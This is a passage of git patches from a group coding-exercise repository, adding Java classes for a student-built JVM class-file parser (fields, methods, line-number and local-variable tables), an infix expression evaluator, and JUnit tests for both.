+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		
+		
+		return null;
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group11/996108220/src/com/coderising/jvm/attr/LineNumberTable.java b/group11/996108220/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..415c7b329b
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,48 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public  void parse(ByteCodeIterator iter){
+		int count=iter.nextU2ToInt();
+		for (int j = 0; j <count ; j++) {
+			LineNumberItem	item=new LineNumberItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLineNum(iter.nextU2ToInt());
+			this.addLineNumberItem(item);
+			}
+		
+	}
+	
+	
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/attr/LocalVariableItem.java b/group11/996108220/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..3eb2654e36
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group11/996108220/src/com/coderising/jvm/attr/LocalVariableTable.java b/group11/996108220/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..bb3a30f4d0
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	public void parse(ByteCodeIterator iter){
+		int count=iter.nextU2ToInt();
+		for (int i = 0; i < count; i++) {
+			LocalVariableItem item=new LocalVariableItem();
+			item.setStartPC(iter.nextU2ToInt());
+			item.setLength(iter.nextU2ToInt());
+			item.setNameIndex(iter.nextU2ToInt());
+			item.setDescIndex(iter.nextU2ToInt());
+			item.setIndex(iter.nextU2ToInt());
+			this.addLocalVariableItem(item);
+		}
+		
+	}
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	
+}
diff --git a/group11/996108220/src/com/coderising/jvm/attr/StackMapTable.java b/group11/996108220/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..b1da6c79f7
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		//String code = iter.nextUxToHexString(len);
+		//t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group11/996108220/src/com/coderising/jvm/clz/ClassFile.java b/group11/996108220/src/com/coderising/jvm/clz/ClassFile.java
index 8575f5641a..5fb4b5c922 100644
--- a/group11/996108220/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group11/996108220/src/com/coderising/jvm/clz/ClassFile.java
@@ -1,7 +1,12 @@
 package com.coderising.jvm.clz;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 
 public class ClassFile {
 	
@@ -10,7 +15,8 @@ public class ClassFile {
 	private AccessFlag accessFlag;
 	private ClassIndex clzIndex;
 	private ConstantPool pool;
-	
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
 	
 	public ClassIndex getClzIndex() {
 		return clzIndex;
@@ -46,7 +52,18 @@ public void setConstPool(ConstantPool pool) {
 	public void setClassIndex(ClassIndex clzIndex) {
 		this.clzIndex = clzIndex;		
 	}
-	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
 	
 	
 	
diff --git a/group11/996108220/src/com/coderising/jvm/field/Field.java b/group11/996108220/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..07d4633599
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,33 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;//u2
+	private int nameIndex;//u2
+	private int descriptorIndex;//u2
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		return null;
+	}
+
+}
diff --git a/group11/996108220/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group11/996108220/src/com/coderising/jvm/loader/ByteCodeIterator.java
index a151decad8..e9400b2cfd 100644
--- a/group11/996108220/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group11/996108220/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -1,6 +1,7 @@
 package com.coderising.jvm.loader;
 
 import java.util.Arrays;
+
 import com.coderising.jvm.util.Util;
 
 
@@ -47,5 +48,10 @@ public byte[] getByte(int length) {
 		cursor=cursor+length;
 		return Arrays.copyOfRange(codes,i, cursor);
 	}
+	public String getString(int codeLen) {
+		int i=cursor;
+		cursor=cursor+codeLen;
+		return Arrays.copyOfRange(codes,i, cursor).toString();
+	}
 
 }
diff --git a/group11/996108220/src/com/coderising/jvm/loader/ClassFileParser.java b/group11/996108220/src/com/coderising/jvm/loader/ClassFileParser.java
index ac55f25e0e..2b705bb4dc 100644
--- a/group11/996108220/src/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group11/996108220/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -1,4 +1,7 @@
 package com.coderising.jvm.loader;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.attr.LineNumberTable;
+import com.coderising.jvm.attr.LocalVariableTable;
 import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
@@ -10,7 +13,10 @@
 import com.coderising.jvm.constant.NullConstantInfo;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 import com.coderising.jvm.util.Util;
+import com.sun.org.apache.bcel.internal.classfile.LineNumber;
 
 public class ClassFileParser {
 
@@ -23,12 +29,78 @@ public ClassFile parse(byte[] codes) {
 		ClassFile classFile=new ClassFile();
 		classFile.setMinorVersion(iter.nextU2ToInt());
 		classFile.setMajorVersion(iter.nextU2ToInt());
-		classFile.setConstPool(parseConstantPool(iter));
+		ConstantPool pool=parseConstantPool(iter);
+		classFile.setConstPool(pool);
 		classFile.setAccessFlag(parseAccessFlag(iter));
 		classFile.setClassIndex(parseClassInfex(iter));
+		parseInterfaces(iter);
+		int fieldCount=iter.nextU2ToInt();
+		for (int i = 0; i <fieldCount ; i++) {
+			classFile.addField(parseField(iter,pool));
+		}
+		int methodCount=iter.nextU2ToInt();
+		for (int i = 0; i < methodCount; i++) {
+			classFile.addMethod(parseMethod(iter, classFile));
+		}
 		return classFile;
 	}
 
+	private Method parseMethod(ByteCodeIterator iter,ClassFile clzFile) {
+		
+		int accessFlag=iter.nextU2ToInt();	
+		int nameIndex=iter.nextU2ToInt();
+		int descriptorIndex=iter.nextU2ToInt();
+		Method method= new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
+		int attrCount=iter.nextU2ToInt();
+		int attrNameIndex=iter.nextU2ToInt();
+		int attrLen=iter.nextU4ToInt();
+		int maxStack=iter.nextU2ToInt();
+		int maxLocals=iter.nextU2ToInt();
+		int codeLen=iter.nextU4ToInt();
+		String code=iter.getByte(codeLen).toString();
+		CodeAttr codeAttr=new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
+		int exceptionLength=iter.nextU2ToInt();
+		int count=iter.nextU2ToInt();
+		for (int i = 0; i < count; i++) {
+			int attrNameIndex1=iter.nextU2ToInt();
+			UTF8Info utf8Info=(UTF8Info) clzFile.getConstantPool().getConstantInfo(attrNameIndex1);
+			String attrName=utf8Info.getValue();
+			if (attrName.equals("LineNumberTable")) {
+				int attrLen1=iter.nextU4ToInt();
+				LineNumberTable lnTable=new LineNumberTable(attrNameIndex1, attrLen1);
+				lnTable.parse(iter);	
+			}
+			else if (attrName.equals("LocalVariableTable")) {
+				int attrLen1=iter.nextU4ToInt();
+				LocalVariableTable lvTable=new LocalVariableTable(attrNameIndex1, attrLen1);
+				lvTable.parse(iter);	
+			}
+			else {
+				throw new RuntimeException();
+			}
+		}
+		method.setCodeAttr(codeAttr);
+		return method;
+	}
+
+	private Field parseField(ByteCodeIterator iter,ConstantPool pool) {
+		int accessFlag=iter.nextU2ToInt();
+	    int	nameIndex=iter.nextU2ToInt();
+
+	    int	descriptorIndex=iter.nextU2ToInt();
+		Field field=new Field(accessFlag, nameIndex, descriptorIndex, pool);
+		iter.nextU2ToInt();
+		return field;
+	}
+
+	private void parseInterfaces(ByteCodeIterator iter) {
+		// TODO Auto-generated method stub
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+	}
+
 	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
 
 		return new AccessFlag(iter.nextU2ToInt());
diff --git a/group11/996108220/src/com/coderising/jvm/method/Method.java b/group11/996108220/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..2e90726e95
--- /dev/null
+++ b/group11/996108220/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;//u2
+	private int nameIndex;//u2
+	private int descriptorIndex;//u2	
+	private CodeAttr codeAttr;
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		return null;
+		
+	}
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/InfixExpr.java b/group11/996108220/src/com/coding/basic/stack/InfixExpr.java
new file mode 100644
index 0000000000..0f333d6a00
--- /dev/null
+++ b/group11/996108220/src/com/coding/basic/stack/InfixExpr.java
@@ -0,0 +1,92 @@
+package com.coding.basic.stack;
+
+import java.util.ArrayList;
+import java.util.StringTokenizer;
+
+public class InfixExpr {
+	ArrayList<String> list=new ArrayList<>();
+	Stack numStack=new Stack();
+	Stack operStack=new Stack();
+	public InfixExpr(String s) {
+		 StringTokenizer st = new StringTokenizer(s, "\\+|\\-|\\*|\\/", true);  
+
+		  while(st.hasMoreElements()){  
+			  list.add(st.nextToken());
+		  }
+	}
+	//5-2+3 6/2*3 5-2+3*4 2+3-5
+	public float evaluate() {
+
+		for (int i = 0; i < list.size(); i++) {
+			
+			if (list.get(i).charAt(0)=='+') {
+				if (operStack.size()==0) {
+					operStack.push(list.get(i).charAt(0));
+					continue;
+				}
+				if ((char)operStack.peek()=='-'||(char)operStack.peek()=='*'||(char)operStack.peek()=='/') {
+					numStack.push(caculate());
+				}
+				operStack.push(list.get(i).charAt(0));
+			}
+			else if (list.get(i).charAt(0)=='-') {
+				if (operStack.size()==0) {
+					operStack.push(list.get(i).charAt(0));
+					continue;
+				}
+				if ((char)operStack.peek()=='*'||(char)operStack.peek()=='/') {
+					numStack.push(caculate());
+				}
+				operStack.push(list.get(i).charAt(0));
+			}
+			else if (list.get(i).charAt(0)=='*') {
+				if (operStack.size()==0) {
+					operStack.push(list.get(i).charAt(0));
+					continue;
+				}
+				if ((char)operStack.peek()=='/') {
+					numStack.push(caculate());
+				}
+				operStack.push(list.get(i).charAt(0));
+			}
+			else if (list.get(i).charAt(0)=='/') {
+				if (operStack.size()==0) {
+					operStack.push(list.get(i).charAt(0));
+					continue;
+				}
+				operStack.push(list.get(i).charAt(0));
+			}
+			else {
+				numStack.push(Float.parseFloat(list.get(i)));
+			}
+			
+		}
+		while (operStack.size()!=0) {
+			
+			numStack.push(caculate());
+		}
+		return (float) numStack.pop();
+	}
+	public float caculate(){
+		char opf=(char) operStack.pop();
+		float op2=(float) numStack.pop();
+		float op1=(float) numStack.pop();
+		float tmpResult = 0;
+		switch(opf){  
+        case '+':  
+            tmpResult = op1 + op2;            
+            break;  
+        case '-':  
+            tmpResult = op1 - op2;  
+            break;  
+        case '*':  
+            tmpResult = op1 * op2;  
+            break;  
+        case '/':  
+            tmpResult = op1 / op2;  
+            break;  
+    }  
+		return tmpResult;
+	}
+
+}
diff --git a/group11/996108220/src/com/coding/basic/stack/StackUtilTest.java b/group11/996108220/src/com/coding/basic/stack/StackUtilTest.java
index 91e3211683..e921ed991c 100644
--- a/group11/996108220/src/com/coding/basic/stack/StackUtilTest.java
+++ b/group11/996108220/src/com/coding/basic/stack/StackUtilTest.java
@@ -78,5 +78,24 @@ public void testIsValidPairs() {
 		String s="([e{df])" ;
 		Assert.assertEquals(false, StackUtil.isValidPairs(s));
 	}
+	//5-2+3 6/2*3 5-2+3*4 2+3-5
+	@Test
+	public void testevaluate() {
+		InfixExpr expr = new InfixExpr("2+3*4+5");
+		System.out.println(expr.evaluate());
+		Assert.assertEquals(19, expr.evaluate(), 0.001f);
+		InfixExpr expr1 = new InfixExpr("5-2+3");
+		System.out.println(expr1.evaluate());
+		Assert.assertEquals(6, expr1.evaluate(), 0.001f);
+		InfixExpr expr2 = new InfixExpr("6/2*3");
+		System.out.println(expr2.evaluate());
+		Assert.assertEquals(9, expr2.evaluate(), 0.001f);
+		InfixExpr expr3 = new InfixExpr("50-2+3*4");
+		System.out.println(expr3.evaluate());
+		Assert.assertEquals(60, expr3.evaluate(), 0.001f);
+		InfixExpr expr4 = new InfixExpr("20+30-50");
+		System.out.println(expr4.evaluate());
+		Assert.assertEquals(0, expr4.evaluate(), 0.001f);
+	}
 
 }

From 4f3cecbd63b2fa0ee5a8f3d9e10c6b7163f840c5 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Tue, 18 Apr 2017 06:13:33 +0800
Subject: [PATCH 091/262] =?UTF-8?q?=E5=AD=97=E6=AE=B5=E4=B8=8Eattr?=
 =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=E5=88=9D=E6=AD=A5?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../basic/stack/expr/InfixExprTest.java       |  4 +
 .../coderising/jvm/clz/ClassFile.java         | 26 +++--
 .../coderising/jvm/field/Field.java           | 50 ++++++++++
 .../coderising/jvm/method/Method.java         | 96 +++++++++++++++++++
 .../jvm/test/ClassFileloaderTest.java         | 77 ++++++++++++++-
 5 files changed, 245 insertions(+), 8 deletions(-)
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
 create mode 100644 group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java

diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java
index 706aaea86e..a14953535d 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/basic/stack/expr/InfixExprTest.java
@@ -46,6 +46,10 @@ public void testEvaluate() {
 			InfixExpr expr = new InfixExpr("10-30+50");
 			Assert.assertEquals(30, expr.evaluate(), 0.001f);
 		}
+		{
+			InfixExpr expr = new InfixExpr("10-30+50-20/10/2*4");
+			Assert.assertEquals(26, expr.evaluate(), 0.001f);
+		}
 		
 	}
 
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
index c4d13704f2..82eee82fb5 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/clz/ClassFile.java
@@ -1,9 +1,14 @@
 package com.github.miniyk2012.coding2017.coderising.jvm.clz;
 
 
+import assignments.jvm.field.Field;
+import assignments.jvm.method.Method;
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.ClassInfo;
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.ConstantPool;
 
+import java.util.ArrayList;
+import java.util.List;
+
 public class ClassFile {
 	
 	private int minorVersion;
@@ -12,7 +17,8 @@ public class ClassFile {
 	private AccessFlag accessFlag;
 	private ClassIndex clzIndex;
 	private ConstantPool pool;
-	
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
 	
 	public ClassIndex getClzIndex() {
 		return clzIndex;
@@ -24,8 +30,6 @@ public void setAccessFlag(AccessFlag accessFlag) {
 		this.accessFlag = accessFlag;
 	}
 	
-	
-	
 	public ConstantPool getConstantPool() {		
 		return pool;
 	}
@@ -43,20 +47,28 @@ public void setMajorVersion(int majorVersion) {
 	}
 	public void setConstPool(ConstantPool pool) {
 		this.pool = pool;
-		
+	}
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
 	}
 	public void setClassIndex(ClassIndex clzIndex) {
 		this.clzIndex = clzIndex;		
 	}
 
-	
 	public void print(){
-		
 		if(this.accessFlag.isPublicClass()){
 			System.out.println("Access flag : public  ");
 		}
 		System.out.println("Class Name:"+ getClassName());
-		
 		System.out.println("Super Class Name:"+ getSuperClassName());
 
 	}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..017e6cd8bc
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.field;
+
+import assignments.jvm.constant.ConstantPool;
+import assignments.jvm.constant.UTF8Info;
+import assignments.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool, ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		//System.out.println("field attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..f9e62fbb93
--- /dev/null
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/method/Method.java
@@ -0,0 +1,96 @@
+package com.github.miniyk2012.coding2017.coderising.jvm.method;
+
+import assignments.jvm.clz.ClassFile;
+import assignments.jvm.attr.AttributeInfo;
+import assignments.jvm.attr.CodeAttr;
+import assignments.jvm.constant.ConstantPool;
+import assignments.jvm.constant.UTF8Info;
+import assignments.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		
+		
+		Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
+		
+		for( int j=1; j<= attribCount; j++){
+			
+			int attrNameIndex = iter.nextU2ToInt();	
+			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+			iter.back(2);
+			
+			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				m.setCodeAttr(codeAttr);
+			} else{
+				throw new RuntimeException("only CODE attribute is implemented , please implement the "+ attrName);
+			}
+			
+		}
+		
+		return m ;
+		
+	}
+}
diff --git a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
index 013ec8073a..21d5ddbd71 100644
--- a/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group02/812350401/src/main/java/com/github/miniyk2012/coding2017/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,15 +1,19 @@
 package com.github.miniyk2012.coding2017.coderising.jvm.test;
 
+import assignments.jvm.field.Field;
+import assignments.jvm.method.Method;
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassFile;
 import com.github.miniyk2012.coding2017.coderising.jvm.clz.ClassIndex;
 import com.github.miniyk2012.coding2017.coderising.jvm.constant.*;
 import com.github.miniyk2012.coding2017.coderising.jvm.loader.ClassFileLoader;
 import com.github.miniyk2012.coding2017.coderising.jvm.util.Util;
 import org.junit.After;
-import  org.junit.Assert;
+import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.List;
+
 
 public class ClassFileloaderTest {
 
@@ -172,5 +176,76 @@ public void testClassIndex(){
         Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
         Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+
+        List<Field> fields = clzFile.getFields();
+        Assert.assertEquals(2, fields.size());
+        {
+            Field f = fields.get(0);
+            Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+        }
+        {
+            Field f = fields.get(1);
+            Assert.assertEquals("age:I", f.toString());
+        }
+    }
+    @Test
+    public void testMethods(){
+
+        List<Method> methods = clzFile.getMethods();
+        ConstantPool pool = clzFile.getConstantPool();
+
+        {
+            Method m = methods.get(0);
+            assertMethodEquals(pool,m,
+                    "<init>",
+                    "(Ljava/lang/String;I)V",
+                    "2ab7000c2a2bb5000f2a1cb50011b1");
+
+        }
+        {
+            Method m = methods.get(1);
+            assertMethodEquals(pool,m,
+                    "setName",
+                    "(Ljava/lang/String;)V",
+                    "2a2bb5000fb1");
+
+        }
+        {
+            Method m = methods.get(2);
+            assertMethodEquals(pool,m,
+                    "setAge",
+                    "(I)V",
+                    "2a1bb50011b1");
+        }
+        {
+            Method m = methods.get(3);
+            assertMethodEquals(pool,m,
+                    "sayHello",
+                    "()V",
+                    "b2001c1222b60024b1");
+
+        }
+        {
+            Method m = methods.get(4);
+            assertMethodEquals(pool,m,
+                    "main",
+                    "([Ljava/lang/String;)V",
+                    "bb000159122b101db7002d4c2bb6002fb1");
+        }
+    }
+
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+        String methodName = pool.getUTF8String(m.getNameIndex());
+        String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
+        String code = m.getCodeAttr().getCode();
+        Assert.assertEquals(expectedName, methodName);
+        Assert.assertEquals(expectedDesc, methodDesc);
+        Assert.assertEquals(expectedCode, code);
+    }
 
 }

From 51a57fbbc581b82d0ed5ae5a1e7f83bf6fbff9a7 Mon Sep 17 00:00:00 2001
From: thomas_young <yk_ecust_2007@163.com>
Date: Tue, 18 Apr 2017 06:58:12 +0800
Subject: [PATCH 092/262] =?UTF-8?q?=E5=B0=86=E8=80=81=E5=A4=A7=E7=9A=84Fie?=
